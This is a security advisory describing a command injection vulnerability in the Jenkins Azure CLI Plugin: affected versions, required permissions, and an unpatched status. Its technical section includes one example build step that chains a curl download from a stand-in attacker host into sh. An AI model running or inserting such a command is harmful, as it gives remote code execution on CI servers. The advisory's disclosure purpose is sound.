Introduction
Attackers with low-level Jenkins permissions can execute arbitrary shell commands on the Jenkins controller by abusing the Azure CLI Plugin. That exposes CI/CD infrastructure directly to remote code execution, credential theft, and supply chain compromise.
About Jenkins and the Azure CLI Plugin: Jenkins is one of the most widely adopted open source automation servers, used for continuous integration and deployment by organizations of all sizes. The Azure CLI Plugin lets Jenkins jobs work with Microsoft Azure resources by running Azure CLI commands as build steps. It is less common than the core Jenkins plugins, but it appears in environments where DevOps workflows depend on Azure integration. The plugin has not seen active development since 2018, and its security posture reflects that.
Technical information
CVE-2025-64140 is a command injection vulnerability (CWE-78) in Jenkins Azure CLI Plugin version 0.9 and all earlier versions. The plugin lets users with Item/Configure permission define Azure CLI commands that run during build steps. It passes those commands directly to the shell on the Jenkins controller with no validation, escaping, or restriction. An attacker can therefore inject shell metacharacters (such as ;, &&, |) and append arbitrary commands to the legitimate Azure CLI invocation.
For example, a Jenkins job configuration might include a build step like this:
az group create --name myGroup --location eastus; curl http://attacker.example.com/shell.sh | sh
The shell treats everything after the semicolon as a separate command, so it runs both the Azure CLI command and the attacker's payload with the privileges of the Jenkins process. The result is remote code execution on the Jenkins controller, with a path to credential theft, lateral movement, and persistent compromise.
Any user with Item/Configure permission can exploit the vulnerability, and many Jenkins environments grant that permission to developers or automation engineers. The risk is higher when jobs are allowed to run on the Jenkins controller itself instead of being isolated to remote agents.
Affected systems and versions
- Jenkins Azure CLI Plugin version 0.9 and all earlier versions are affected.
- Any Jenkins instance with the Azure CLI Plugin installed and jobs configured to run on the controller is vulnerable.
- Exploitation requires Item/Configure permission.
Vendor security history
Jenkins and its plugin ecosystem have had multiple command injection and unsafe deserialization vulnerabilities in the past, often caused by insufficient input validation or unsafe use of shell execution APIs. The Azure CLI Plugin has not been actively maintained since 2018. As of the advisory date, the vendor has not released a patch for this issue.



